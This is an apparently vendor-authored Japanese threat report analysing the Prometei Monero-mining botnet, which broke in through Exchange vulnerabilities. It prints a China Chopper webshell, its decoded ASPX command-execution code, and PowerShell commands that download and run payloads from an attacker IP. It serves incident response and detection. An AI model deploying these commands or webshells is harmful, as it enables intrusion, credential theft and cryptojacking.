最近、サイバーリーズンのNocturnusチームは、北米の企業を標的としたPrometeiボットネットの感染に関係する複数のインシデントレスポンス(IR)案件に対応しました。攻撃者は、ネットワークに侵入してマルウェアをインストールするために、最近公開されたMicrosoft Exchangeの脆弱性(CVE-2021-27065およびCVE-2021-26858)を悪用したことが観測されています。

Prometeiは、2020年7月に初めて発見された、モジュール式で多段型の暗号通貨ボットネットであり、Windows版とLinux版の両方があります。Moneroコインをマイニングするという目的を達成するために、Prometeiは、MimikatzからSMBそしてRDPに至るまでの広範な種類のエクスプロイトを含む、さまざまな手法とツールを利用します。これらがすべて連携して動作することにより、ネットワーク全体における伝播が実現されます。

Prometeiが公式に発見されたのは2020年半ばですが、サイバーリーズンのNocturnusチームは、Prometeiの出現は2016年にまで遡る可能性があり、そして、それ以降Prometeiはその機能に新しいモジュールや技術を追加することで進化を続けているという証拠を発見しました。現在、Prometeiの最新バージョンでは、洗練されたステルス性のあるバックドアを攻撃者に提供しています。このバックドアは、Moneroコインのマイニングを被害者に気付かれないようにするための幅広いタスクをサポートしています。

本レポートでは、Prometeiを使った攻撃に関する調査結果を紹介します。これには、攻撃者が最初に実行する足場を整えるためのシーケンス、マルウェアのさまざまなコンポーネントが持つ機能、脅威アクターの出自、ボットのインフラなどが含まれます。

主な調査結果

  • Microsoft Exchangeの脆弱性を悪用:Prometeiは、最近公開されたHAFNIUM攻撃に関連するMicrosoft Exchangeの脆弱性を利用してネットワークに侵入し、マルウェアの導入やクレデンシャルの収集などを行います。
  • 広範な被害者層:この攻撃の被害者層は、高度に標的化されたものというよりは、極めてランダムで日和見的なものであるため、より一層危険でありかつ広範囲に及んでいます。Prometeiは、さまざまな業界(金融、保険、小売、製造、公益事業、旅行、建設など)のシステムで活動していることが観測されているほか、さまざまな国(米国、英国、その他多くの欧州諸国、南米、東アジアの国々)のネットワークに感染していることが観測されています。さらに、Prometeiは、旧ソビエト連邦諸国の標的への感染を明確に回避していることが観測されています。
  • SMBとRDPの脆弱性を悪用:Prometeiの主な目的は、できる限り多くのエンドポイントにMoneroのマイニングを実行するコンポーネントをインストールすることです。これを実現するには、Prometeiは特定のネットワーク全体に広がる必要があります。そしてそれを可能にするために、Prometeiは多くの手法を利用します。これには、EternalBlueやBlueKeepなどの既知のエクスプロイトをはじめ、クレデンシャルの収集、SMBやRDPのエクスプロイト、さらにはSSHクライアントやSQLスプレッダーのようなその他のコンポーネントが含まれます。
  • クロスプラットフォーム型の脅威:Prometeiには、WindowsベースのバージョンとLinux-Unixベースのバージョンがあります。Prometeiは、ネットワークを通じて拡散する際に、標的となる感染マシン上で検出されたOSに応じて、そのペイロードを使い分けます。
  • APT型のサイバー犯罪:サイバー犯罪コミュニティに属している脅威アクターは、APTライクな手法を採用することで、活動の効率化を図っています。Prometeiグループは、ロシア語を操る個人が金銭的な動機に基づいて運営しているものであり、国家の支援は受けていないと評価されています。複数のエンドポイントのコンピューティングリソースを利用してビットコインをマイニングすることで、Prometeiの背後にいる脅威アクターは、長期にわたって多額の暗号通貨を獲得できます。
  • 回復力のあるC2インフラストラクチャ:Prometeiは、4つの異なるC2(Command & control)サーバーと対話するように構築されています。これにより、同ボットネットのインフラを強化し継続的な通信を維持することで、それが持つテイクダウンに対する回復力を向上できます。
  • 思ったよりも古い:Prometeiボットネットは、2020年7月に初めて発見されたと言われていましたが、新たな証拠により、2016年にはすでに出回っていたことが判明しています。Prometeiボットネットは進化を続けており、新しいバージョンでは新しい機能やツールが観測されています。

 

▲攻撃シーケンス図

最初の侵入:Microsoft Exchangeの脆弱性を悪用

IR調査中に、Nocturnusチームは、最初の侵入ベクターを特定できました。この侵入ベクターにおいて、攻撃者は最近発見されたMicrosoft Exchangeサーバーの脆弱性を悪用しており、具体的にはCVE-2021-27065およびCVE-2021-26858CVEを悪用することでリモートコードを実行していました。

攻撃者は、下記のコマンドを通じてChina Chopper webshellをインストールして実行していました。

Set-OabVirtualDirectory with the Parameters: -ExternalUrl “http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“NO9BxmCXw0JE”],”unsafe”);}</script>” -Identity “OAB (Default Web Site)”

 

$d=[System.Convert]::FromBase64String(‘PCVAIFB hZ2UgTGFuZ3VhZ2U9IkMjIiBFbmFibGVWaWV 3U3RhdGU9ImZhbHNlIiAlPg0KPCVAIEltcG9yd CBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zd GljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWN lPSJTeXN0ZW0uSU8iICU+DQo8JQ0KCXN0cmlu ZyBxID0gIiI7DQogICAgICAgIGlmIChSZXF1ZXN0 LlF1ZXJ5U3RyaW5nWyJxIl0gIT0gbnVsbClxPSBS ZXF1ZXN0LlF1ZXJ5U3RyaW5nWyJxIl07DQogIC AgICAgIGlmIChSZXF1ZXN0LlF1ZXJ5U3RyaW5n WyJxNjQiXSAhPSBudWxsKXE9IFN5c3RlbS5UZX h0LkVuY29kaW5nLlVURjguR2V0U3RyaW5nKE NvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF 1ZXN0LlF1ZXJ5U3RyaW5nWyJxNjQiXSkpOw0K DQoNCglSZXNwb25zZS5Xcml0ZSgicnVueyIrcS sifSIpOw0KCWlmKHEhPSIiKSB7DQogICAgICAg ICAgICAgICAgUHJvY2VzcyBwID0gbmV3IFByb2 Nlc3MoKTsNCiAgICAgICAgICAgICAgICBwLlN0Y XJ0SW5mby5DcmVhdGVOb1dpbmRvdyA9IHR ydWU7DQogICAgICAgICAgICAgICAgcC5TdGFy dEluZm8uRmlsZU5hbWUgPSAiY21kLmV4ZSI7 DQogICAgICAgICAgICAgICAgcC5TdGFydEluZm 8uQXJndW1lbnRzID0gIi9jICIgKyBxOw0KICAgIC AgICAgICAgICAgIHAuU3RhcnRJbmZvLlVzZVNo ZWxsRXhlY3V0ZSA9IGZhbHNlOw0KICAgICAgIC AgICAgICAgIHAuU3RhcnRJbmZvLlJlZGlyZWN0 U3RhbmRhcmRPdXRwdXQgPSB0cnVlOw0KIC AgICAgICAgICAgICAgIHAuU3RhcnRJbmZvLlJlZG lyZWN0U3RhbmRhcmRFcnJvciA9IHRydWU7D QogICAgICAgICAgICAgICAgcC5TdGFydCgpOw0 KCQlSZXNwb25zZS5Xcml0ZShwLlN0YW5kYXJk T3V0cHV0LlJlYWRUb0VuZCgpICsgcC5TdGFuZG FyZEVycm9yLlJlYWRUb0VuZCgpKTsNCgkJUmV zcG9uc2UuRW5kKCk7DQogICAgICAgIH0gICAg ICAgDQolPg==’); [io.file]::WriteAllBytes(‘C:\Program  Files\Microsoft\Exchange  Server\V15\FrontEnd\HttpProxy\owa\auth\ <file_name>.aspx’,$d); <%@ Page Language=”C#” EnableViewState=”false” %> <%@ Import Namespace=”System.Diagnostics” %> <%@ Import Namespace=”System.IO” %> <% string q = “”; if (Request.QueryString[“q”] != null)q= Request.QueryString[“q”]; if (Request.QueryString[“q64”] != null)q= System.Text.Encoding.UTF8.GetString(Convert.From

Base64String(Request.QueryString[“q64”])); Response.Write(“run{“+q+”}”); if(q!=””) { Process p = new Process(); p.StartInfo.CreateNoWindow = true; p.StartInfo.FileName = “cmd.exe”; p.StartInfo.Arguments = “/c ” + q; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd()); Response.End(); } %>

 

攻撃者は、当該ネットワークへのアクセス権を取得した後、自らの痕跡を消すために、.aspxという拡張子を持つwebshellファイルを削除しました。

cmd.exe /c del “C:\Program Files\Microsoft\Exchange Server\V15\\frontend\httpproxy\owa\auth\<file_name>.aspx”

 

攻撃者は、webshellを使用してPowerShellを起動した後、このPowerShellを通じて下記のURLからペイロードをダウンロードしました。

http://178.21.164[.]68/dwn.php?b64=1&d=nethost64C.exe&B=_AMD64,<machine_name>

続いて、このペイロードはC:Windows\zsvc.exeとして保存された後、実行されます。これがPrometeiボットネットの実行の始まりです。

 

▲Cybereason XDR Platformで観測された初期感染ベクトルの攻撃ツリー

Prometeiボットネット

ボットネットの最初のモジュールであるzsvc.exeが実行されると、同プログラムは次の手順に従って、その他のモジュールのための「領域の準備」を開始します。

  • 自分自身を“sqhost.exe”という名前でC:Windowsにコピーする
  • Netshコマンドを使用して、sqhost.exeがHTTP経由での接続を行うことを許可するようなファイアウォール規則を追加する
  • “UPlugPlay”という名前のレジストリキーが存在するかどうかを確認し、存在している場合にはそれを削除する
  • イメージパスとコマンドラインc:\windows\sqhost.exe Dcomsvを使用して、パーシステンスのためのレジストリキーをHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPlugPlayとして設定する
  • 複数のレジストリキーをSOFTWARE\Microsoft\Fax\ and SOFTWARE\Intel\support\の下に、MachineKeyId、EncryptedMachineKeyId、CommIdItという名前で作成する。これらは、後でC2通信を実行するために各種のコンポーネントによって使用される

Sqhost.exe

Sqhost.exeは、幅広い種類のコマンドをサポートするバックドア機能を備えた、メインのボットモジュールです。Sqhost.exeは、4つの異なるハードコーディングされたC2サーバーからダウンロードしたprometei.cgiファイルをパーシングします。このファイルには、感染マシン上で実行されるコマンドが含まれています。このコマンドは、「スタンドアロン」のネイティブOSコマンド(cmdコマンドやWMIなど)として使用されるほか、C:\Windows\dellの下に置かれている同マルウェアのその他のモジュールとの対話にも使用されます。

▲Sqhost.exeに埋め込まれているC2ドメイン

Sqhost.exeは次のコマンドをサポートしています。

  • Call – プログラムやファイルを実行する
  • Start_mining – ファイルC:windows\Desktop.datをパラメータとしてSearchIndexer.exe(マイニングプログラム)を起動する
  • Start_mining1 – C2経由でC:\windows\dell\Desktop.datをリクエストした後、ファイルC:\windows\dell\Desktop.datをパラメータとしてSearchIndexer.exe(マイニングプログラム)を起動する
  • Stop_mining – cmd.exeでコマンド“/c taskkill -f -im SearchIndexer.exe”を実行する
  • Wget – ファイルをダウンロードする
  • Xwget – ファイルのダウンロード、保存、XORを使った復号化を行う
  • Quit – TerminateProcessを使ってボットの実行を終了させる
  • Quit2 – TerminateProcessを使わずにボットの実行を終了させる
  • Sysinfo – マシンに関する情報を収集する(ネイティブAPIやWMICを利用)
  • Exec – コマンドを実行する
  • Ver – ボットのバージョンを戻す
  • Enc – RC4暗号化キーの取得/設定を行う
  • Extip – ボットの外部IPアドレスを戻す
  • Chkport – 特定のポートがオープン状態であるかどうかをチェックする
  • Search – ファイル(潜在的な暗号通貨ウォレット)を名前で検索する
  • Set_timeout – C2サーバーに接続する時間を設定する
  • Touch – ファイルをオープンする
  • Touch_internal – アクセス時間を変更するために、1バイトのファイルを編集する
  • Touch_stop – ファイルをクローズする
  • Update – ボットのバージョンをアップデートする
  • Set_Autoexec2 – 自動実行を設定する
  • Set_Autoexec1 – 自動実行を設定する
  • Set_cc1 – C2サーバーを設定する
  • Set_cc0 – C2サーバーを設定する

 

▲Sqhost.exeがサポートするタスクの一部

下記の図は、調査中に遭遇したマルウェアの実行において、攻撃者がcmd.exe、sqhost.exe、wmic.exeという3つのプロセスを含むアクティビティを実行したことを示しています。

▲Cybereason Defenseプラットフォームで観測された感染の攻撃ツリー

CMD.exeを使用して、下記のコマンドが実行されました(読みやすくするために、一部のコマンドは個別のコマンドに分割されています)。

Auditpol /set /subcategory:”Logon” /failure:enable auditpolを使用して失敗したログオンをすべて記録するようMicrosoft Windows Serverを設定する。
  • netsh advfirewall firewall delete rule name=”Banned brute IPs”
  • netsh advfirewall firewall add rule name=”Banned brute IPs” dir=in interface=any action=block localip=68.12.114.202,71.181.80.24,179.52.245.208,24.0.176.79,68.161.157.243,
  • netsh advfirewall firewall add rule name=”Banned brute IPs” dir=in interface=any action=block remoteip=68.12.114.202,71.181.80.24,179.52.245.208,24.0.176.79,68.161.157.243,
特定のIPアドレスをマシンとの通信からブロックする。これらのIPアドレスは、他のマルウェア(おそらくはマイニングプログラム)によって使用されており、Prometeiの背後にいる攻撃者は、ネットワークのすべてのリソースを自分たちだけが利用できるようにしたかったのだと思われる。
powershell.exe “if(-not (Test-Path ‘C:\windows\ExchDefender.exe’)) {$b64=$(New-Object Net.WebClient).DownloadString(‘http://178.21.164.68/dwn.php?d=ExchDefender.exe&b64=1’);$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bxor (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes(‘C:\windows\dell\ExchDefender.exe’,$bt);}” ボットネットの追加モジュールである ExchDefender.exeをC:\\Windows\dellにダウンロードして実行する。
powershell.exe “if(-not (Test-Path ‘rdpcIip.exe’)) {$b64=$(New-Object Net.WebClient).DownloadString(‘http://178.21.164.68/walk278_64.php’);$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bxor (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes(‘rdpcIip.exe’,$bt);}”&C:\Windows\svchost.exe /sha1chk 381C17131D13E1203C91720870ECB441F5BE297E miwalk.exe&sqhost.exe /sha1chk 381C17131D13E1203C91720870ECB441F5BE297E miwalk.exe&C:\Windows\svchost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpcIip.exe&sqhost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpcIip.exe&rdpcIip.exe ボットネットの追加モジュールであるrdpcIip.exeをC:\\Windowsにダウンロードして実行する。
taskkill -f -im rdpcIip.exe&del rdpcIip.exe&powershell.exe “if(-not (Test-Path ‘7z.dll’)) {(New-Object Net.WebClient).DownloadFile(‘http://178.21.164.68/7z.dll’,’7z.dll’);}if(-not (Test-Path ‘7z.exe’)) {(New-Object Net.WebClient).DownloadFile(‘http://178.21.164.68/7z.exe’,’7z.exe’);} (New-Object Net.WebClient).DownloadFile(‘http://178.21.164.68/netwalker2.7z’,’netwalker.7z’);”&7z x netwalker.7z -phorhor123 -y&del netwalker.7z 7z.exeとアーカイブファイルNetwalker.7zをダウンロードし、この7zipの実行ファイルを使用して、当該アーカイブからファイルを抽出する。
taskkill -f -im rdpcIip.exe&ping -n 3 127.0.0.1&C:\Windows\svchost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpcIip.exe&sqhost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpcIip.exe&powershell.exe “if(-not (Test-Path ‘miwalk.exe’)) {$b64=$(New-Object Net.WebClient).DownloadString(‘http://178.21.164.68/mi64.php’);$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;

taskkill -f -im rdpcIip.exe&ping -n 3 127.0.0.1&C:\Windows\svchost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpcIip.exe&sqhost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpcIip.exe&powershell.exe “if(-not (Test-Path ‘miwalk.exe’)) {$b64=$(New-Object Net.WebClient).DownloadString(‘http://178.21.164.68/mi64.php’);$data=[System.Convert]::FromBase64String($b64);$bt=New-Object Byte[]($data.Length);[int]$j=0;FOR([int]$i=0;$i -lt $data.Length; $i++){$j+=66;$bt[$i]=(((($data[$i]) -bxor (($i*3) -band 0xFF))-$j) -band 0xFF);}[io.file]::WriteAllBytes(‘miwalk.exe’,$bt);}”

ボットネットの追加モジュールであるmiwalk.exeをC:\\Windows\にダウンロードする。

 

さらに、攻撃者はC:\Windows\svchost.exeの実行を試みるように見えます。これはsqhost.exeと同じファイルであり、初期のバージョンでは攻撃者により「svchost」と名付けられていましたが、今回の攻撃ではダウンロードされておらず、その名前では存在していませんでした。“svchost.exe”に対する参照は、本マルウェアのさまざまなコンポーネントに存在しており、時には“sqhost”に加えて存在することもあります。“svchost.exe”は、後方互換性のために使用されているか、またはメインのボットモジュールの名前を“sqhost.exe”に変更した後、攻撃者がこの名前を敢えて変更しなかったことが理由で残されているのではないかと思われます。

  • Sqhost.exe: システム上で稼働し続けることを確認するために、“-watchdog”パラメータ付きで実行されました。
  • Wmic.exe: 次のような偵察コマンドを実行するために使用されました。

– wmic ComputerSystem get Model
– wmic OS get lastbootuptime
– wmic baseboard get product
– wmic os get caption

Exchdefender.exe

Exchdefenderは、「Microsoft Exchange Defender」という実在しないプログラムを装って、マイクロソフトの正規製品になりすまそうとします。

Exchdefenderを初めて実行すると、「Microsoft Exchange Defender」[MSExchangeDefenderPL]という名前のサービスが作成されます。このサービスは、sqhost.exeで使用されたのと同じコマンドラインを使って“Dcomsvc”というバイナリを(C:Windowsから)実行するように設定されます。

▲Exchdefender.exeを実行することで得られる出力

▲Exchdefender.exeの実行に使用されるサービス名とコマンドライン

Exchdefenderは、「C:Program Files\MicrosoftExchange Server\V15\FrontEnd\HttpProxy%%auth」というディレクトリ内のファイルを常にチェックしていますが、これはWebShellをホスティングするために使われる既知のディレクトリです。このマルウェアが特に注目しているのは“ExpiredPasswords.aspx”というファイルです。このファイルは、APT34(別名OilRig)が利用するHyperShellバックドアを隠すために使われる名前であることが報告されています。このファイルが存在する場合、同マルウェアは直ちにそれを削除します。

当社の評価によれば、このツールは、潜在的なWebShellを削除することで、侵入先のExchange Serverを「保護」するために使用されるものです。これにより、Prometeiはそのリソースを使用する唯一のマルウェアであり続けることが可能となります。

SearchIndexer.exe

SearchIndexer.exeは、オープンソースのMoneroマイニングソフトウェア(XMRig miner)です。これは、マイニングサーバーとマイニングサーバーのユーザー名を含んでいる“desktop.dat”ファイルの内容をパラメータとして実行されます。

▲Desktop.datの内容

本調査の実施後、2021年3月頃から、このユーザーは「ボットネットによるマイニングが報告されたため禁止された」と見られており、攻撃者はすでにこのユーザーを変更している可能性が高いと考えられます。

▲ユーザーが禁止されたことを示すメッセージ

Netwalker.7z

C2サーバー(178.21.164[.]68)からダウンロードされたNetwalker.7zアーカイブは、パスワード“horhor123”を使用してパスワード保護されています。このアーカイブの内容は、ボットの他のコンポーネントと共に、C:\Windows\dellの下に保存されています。このアーカイブには、Nethelper2.exe、Nethelper4.exe、Windrlver.exe、RdpcIip.exeのコピー、およびボットのコンポーネントが使用する数個のDLLのようなファイルが含まれています。

▲Netwalker.7zの内容

RdpcIip.exe

RdcIip.exe(文字「I」は小文字の「L」ではなく大文字の「i」であることに注意)は、sqhost.exeによって直接ダウンロードされますが、Netwalker.7zアーカイブにも含まれています。これはマルウェアの重要なコンポーネントです。RdcIip.exeは、各種のブランチと共に非常に多くの機能を備えており、その主な目的は、マルウェアの他のコンポーネントとの対話を開始することで、それらのすべてを連携して動作させることです。

RdpcIipは、本マルウェアの最も重要な機能のいくつかを担当しています。このような機能の例としては、クレデンシャルの収集(Miwalk.exeという別のコンポーネントを使用)、盗み出したクレデンシャルを使ったネットワークでの拡散、SMBエクスプロイトであるEternalBlueの利用、RDPエクスプロイトであるBlueKeepの利用などが挙げられます。

拡散のためにクレデンシャルを収集

クレデンシャルを収集するために、RdpcIip.exeは、Mimikatzのカスタマイズ版であるMiwalk.exeという別のコンポーネントを起動します。この出力は、テキストファイルであるssldata2.dllとssldata2_old.dllに保存されますが、RdpcIipはこれらのファイルを読み込んでクレデンシャルを検証した上で、それらのクレデンシャルを使用してネットワーク上での拡散を試みます。

さらに、RdpcIip.exeは、下記のレジストリキーの値を「1」に変更します。これにより、クレデンシャルはメモリに保存された後、Miwalk.exeが採用している手法を使って取り出されます。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

▲レジストリキー“UseLogonCredential”を変更

 

▲ssldata2.dllとssldata2_old.dllの内容を読み取る

RdpcIipは、取得したクレデンシャルを使用するだけでなく、内蔵されている「よくあるユーザー名とパスワードの組み合わせリスト」を使用して、ユーザー名とパスワードによるブルートフォース攻撃を実施することで、当該ネットワーク上での拡散を試みます。

 

▲RdpcIip.exeに埋め込まれた一般的なユーザー名とパスワードのリスト

脆弱性を悪用してネットワーク拡散を実施

RdpcIipは、盗み出したクレデンシャルを使うことでは他のマシンへの拡散が行えない場合、EternalBlueエクスプロイトを利用して、メインのボットモジュールであるSqhost.exeをインストールして起動するようなシェルコードを送信します。このエクスプロイトを利用するために、マルウェアはSMBプロトコルを、このエクスプロイトに対して脆弱なSMB1へとダウングレードします。

▲SMBプロトコルをバージョン1にダウングレードする

RDPエクスプロイトであるBlueKeepを利用するために、マルウェアはBklocal2.exe / Bklocal4.exeという別のコンポーネントを使用します(OSのバージョンに応じて、どちらかが使用されます)。このコンポーネントは、Sqhostによってダウンロードされ、C:\Windows\dellに配置されます。

▲BlueKeepエクスプロイトバイナリを実行

その他のコンポーネントのための領域を準備する

また、RdpcIipは、ボットのその他のコンポーネント(Nethelper、SQLスプレッダー、Windrlver、SSHクライアントなど)のための領域を準備します。

RdpcIipは、ファイル(Mono.security.dllNpgsql.dllなど)の依存関係がすべて設定されているかどうかをチェックします。もし設定されていない場合、RdpcIipはファイルをダウンロードして正しいフォルダにコピーします。最終的に、RdpcIipは、コンポーネントを子プロセスとして実行し、それらを主な目的である拡散のために使用します。

▲Nethelperのための領域を準備

NetHelper2.exeとNetHelper4.exe

NetHelperは、CryptoObfuscatorプロテクターを使って難読化された.NETベースの実行ファイルです。このモジュールの主な目的は、ネットワーク内のSQLサーバーへの接続を確立した後、メインモジュールであるSqhostを使ってそれらのサーバーを感染させることです。

これを行うために、このマルウェアは、Npgsqlライブラリ(PostgreSQL用の.Netデータプロバイダー)と、Mono(開発者がクロスプラットフォームアプリケーションを容易に作成できるようにするために設計されたソフトウェアプラットフォーム)を使用します。同マルウェアは、受け取った引数に、ネットワーク上に存在するSQLサーバーと、以前に取得したクレデンシャルが含まれていることを確認します。続いて、同マルウェアは、1433ポート(SQLサーバーのデフォルトポート)と5432ポート(PostgreSQLで使用するポート)を使用して、サーバーへの接続を試みます。

▲1433ポート経由でSQLサーバーへの接続を確立

▲5432ポート経由でPostgreSQLサーバーへの接続を確立

成功した場合、同マルウェアはSQLサーバーのオペレーティングシステム(OS)をチェックした上で、各OSに応じた操作を行います。

  • OSがWindowsの場合:PowerShellコマンドを使用して“zsvc.exe”(Sqhost.exe)をダウンロードします。

▲PowerShellを使ってWindowsマシンにPrometeiのメインモジュールをダウンロードする

  • OS が Unixベースの場合:Curl / Wget / Nexecのうちいずれかを使用します。

▲さまざまな方法を使ってPrometeiのメインモジュールをUnixベースのマシンにダウンロードする

Windrlver.exe

Windlver.exe(文字「l」は大文字の「i」ではなく小文字の「L」であることに注意)は、OpenSSHおよびSSLibベースのソフトウェアであり、SSHを使ったネットワーク上の拡散を行うために攻撃者によって作成されたものです。Windlverは拡散に使用されるため、スプレッダーコンポーネントであるRdpcIipによって起動され、Netwalker.7zアーカイブの一部としてダウンロードされます。

Windlverには起動時にリモートサーバーがパラメータとして渡されます。起動された後、Windlverは盗み出したクレデンシャルや、事前に定義されたユーザー名とパスワードのリストを使って、サーバーへのログインを試みます(このリストはRdpcIip内にあるリストと同じものです。RdpcIipはWindrlverを実行するコンポーネントです)。さらに、Windrlverは、root、admin、user、netup123(NetUPサーバーのデフォルトユーザ)のようなサーバーのデフォルトユーザ名を使用して、各サーバーへのログインを試みます。

▲Windrlverは、さまざまなユーザー名を使ってリモートサーバーへのログインを試みる

ログインに成功すると、このボットは、リモートサーバー上で、メインのボットモジュールであるSqhost.exeのコピーと実行を試みます。

インフラストラクチャとツール

Prometeiは、他のボットネットと同様、多様なインフラストラクチャを備えています。これらのインフラストラクチャは、ボットネットが存続し、感染したマシンが同ボットネットの一部であり続けるように設計されています。長年にわたって、さまざまなPrometeiのC2サーバーが当局により停止されているため、攻撃者は常に回避策を講じなければなりませんでした。これが、Prometei新しいバージョンにおいて、メインのボットに1つだけでなく、4つの異なるC2サーバーが含まれている理由だと思われます。

Prometeiボットネットは、さまざまなコンポーネントをOSのネイティブプロセスとして偽装することで、悪意ある活動を隠そうとします(時には、ファイル名をそのまま使用することもあります)。たとえば、Sqhost.exeファイルは、別のファイルに見せかけるためにわざと間違ったスペルになっています。また、RdpcIip.exe(文字「I」は小文字の「L」ではなく大文字の「i」であることに注意)は、OSの正規のプロセス名として使用されます。

Prometeiは、その初期からの「なりすまし」手法を維持しているだけでなく、一貫した命名規則とURLパターンも維持しているため、そのコンポーネントやインフラを追跡することが比較的容易になっています。たとえば、Cybereasonが分析したPrometeiの最初のバージョンでは、攻撃者は次のような同じファイル名を使用していました。

  • C:\dell\searchindexer.exe
  • C:\dell\desktop.dat
  • C:\Windows\svchost.exe

サーバーの完全な一覧については、IOCsのリストをご覧ください。

2016年に出回っていたことを示す証拠

前述の通り、Prometeiは2020年7月に発見されましたが、それを発見した研究者によると、このボットネットは早くも2020年3月初めには活動していたとのことです。なお、当社の調査によれば、Prometeiは、実際には少なくとも2016年頃から出回っていたことが判明しています。

Prometeiボットネットのインフラストラクチャの停止に続いて、Prometeiボットネットのファイルのほとんどは当局により削除されてしまいましたが、当社では次のようなものを見つけることができました。

  • 2016年5月に発見された、“ver”コマンド(ボットのバージョンを表示するコマンド)を含むPrometei.cgiファイル

▲VTのスクリーンショット: SHA256: cf542ada135ee3edcbbe7b31003192c75295c7eff0efe7593a0a0b0f792d5256

  • 2017年、攻撃者はメインコンポーネントに“download.exe”という名前を付けました(後に“svchost.exe”、現在は“qhost.exe”に変更)。また、攻撃者は、バイナリに署名するために証明書を使用していました。

▲VTのスクリーンショット:SHA-256:fdcf4887a2ace73b87d1d906b23862c0510f4719a6c159d1cde48075a987a52f

すべてのツールと各々に固有のPDB

Prometeiボットネットは、新しいツールを追加することや、サポートするコマンドを拡張することにより、長年にわたって進化してきました。2019年には、短期間で多くのツールが追加され、同マルウェアは大幅にアップデートされたようです。攻撃者が常にすべてのツールを使用するわけではなく、攻撃ごとに変わることもあるため、当社による分析ではすべてのツールを調べることはできませんでした。当社による調査では、これらのツールで使用されている共通のPDBパターンを発見できたほか、これらのツールに関する情報(目的や使用されている難読化手法など)も明らかになりました。

C:\WORK\Tools_2019\walker\DOTNETPlugin\pgbrute\bin\Release\CryptoObfuscator_Output\nethelper.pdb

C:\WORK\Tools_2019\walker\bklocal\BlueKeep\bin\Release\CryptoObfuscator_Output\BlueKeep.pdb

C:\Work\Tools_2019\walker\netwalker\x64\Release\rdpcIip.pdb

C:\Work\Tools_2019\prometei\rdpexec\psexec\Release\psexec.pdb

C:\Work\Tools_2019\prometei\rdpexec\shift – bot\Release\shift.pdb

C:\Work\Tools_2019\prometei\scan_rdp\rdp_checker\MyRDP\SampleRDC\bin\Release\CryptoObfuscator_Output\socks.pdb

C:\WORK\Tools_2019\prometei\RDPBrute2016.NET\RDPDetect\bin\Release\CryptoObfuscator_Output\nvsync.pdb

C:\WORK\Tools_2019\prometei\nvstub\Release\nvstub.pdb

C:\Work\Tools_2019\prometei\nvstub\Release\nvstub.pdb

C:\Work\Tools_2019\prometei\scan_rdp\rdp_checker\RDPDetect (rdp_checker)\RDPDetect\bin\Release\CryptoObfuscator_Output\nethost.pdb

C:\Work\Tools_2019\prometei\psbrute\Release\psbrute.pdb

C:\Work\Tools_2019\prometei\RDPBrute2016.NET\RDPDetect\bin\Release\CryptoObfuscator_Output\nvsync.pdb

C:\Work\Tools_2019\prometei\rdpexec\shift – bot\Release\shift.pdb

C:\Work\Tools_2019\misc\tor_hidden_svc\darkread\x64\Release\darkread.pdb

C:\Work\Tools_2019\misc\util\chk445\Release\chk445.pdb

C:\Work\Tools_2019\misc\util\crawler\Release\crawler.pdb

脅威アクター

Prometeiの背後にいる脅威アクターについては、あまり多くが知られていません。当社では、この脅威アクターがロシア語を操る人物であることを示唆する証拠を収集できました。また、この脅威アクターが他のロシア語話者への感染を避けようとしていることも判明しました。さらに、このボットの名前である“Prometei”が、ギリシャ神話に登場するタイタンの火の神「プロメテウス」のロシア語であることも無視できません。

これに加えて、2016年に作成された旧バージョンのマルウェアでは、“svchost.exe”(メインのボットモジュール)の「製品名」をマルウェアの作者が編集し忘れた結果、それがロシア語のままになっているサンプルがいくつかありました。また、一部のファイルでは、言語コードが「ロシア語」になっていました。

prometei-blog-image-24 prometei-blog-image-25
適切なメタデータ編集なしのSvchost.exe svchost.exeの言語コード

 

Prometeiはさまざまなモジュールを使用しており、すべての攻撃ですべてのモジュールの使用が観測されるわけではありません。Prometeiのコンポーネントの1つは、感染したマシン上でのTORクライアント(TOR C2との通信に使われるもの)のインストールに関連しています。このインストールの一環として、同マルウェアは設定ファイル(torrc)をドロップしますが、このファイルには、複数の出口ノード(すべてロシア語圏にあるもの)の使用を避ける設定が含まれています。

▲PrometeiによるTORクライアントのインストールで使われるtorrcファイルの内容

さらにPrometeiには、Nethelperの旧バージョンだと思われるnvsync.exeという名前のコンポーネントがあり、これには特定のターゲットを避けるために盗み出したクレデンシャルをチェックする関数が含まれています。その中には、「ゲスト」および「その他のユーザー」という意味のロシア語(それぞれГостьおよびДругой пользователь)が含まれています。

▲Prometeiボットのコンポーネントであるnvsync.exeに含まれている関数

結論

本レポートで示したように、Prometeiは複雑な多段階型のボットネットであり、そのステルス性と広範な機能により、侵入したネットワークを大きなリスクにさらします。さまざまなコンポーネントが連携して動作することで、このマルウェアが多くのタスク(クレデンシャルの収集、ネットワーク全体への拡散、C2通信の確立など)を実行できるようにします。このマルウェアの作者は、モジュールを追加することで機能を簡単に拡張できるため、Moneroのマイニングだけでなく、より破壊的な別のペイロード目標へと移行する可能性もあります。

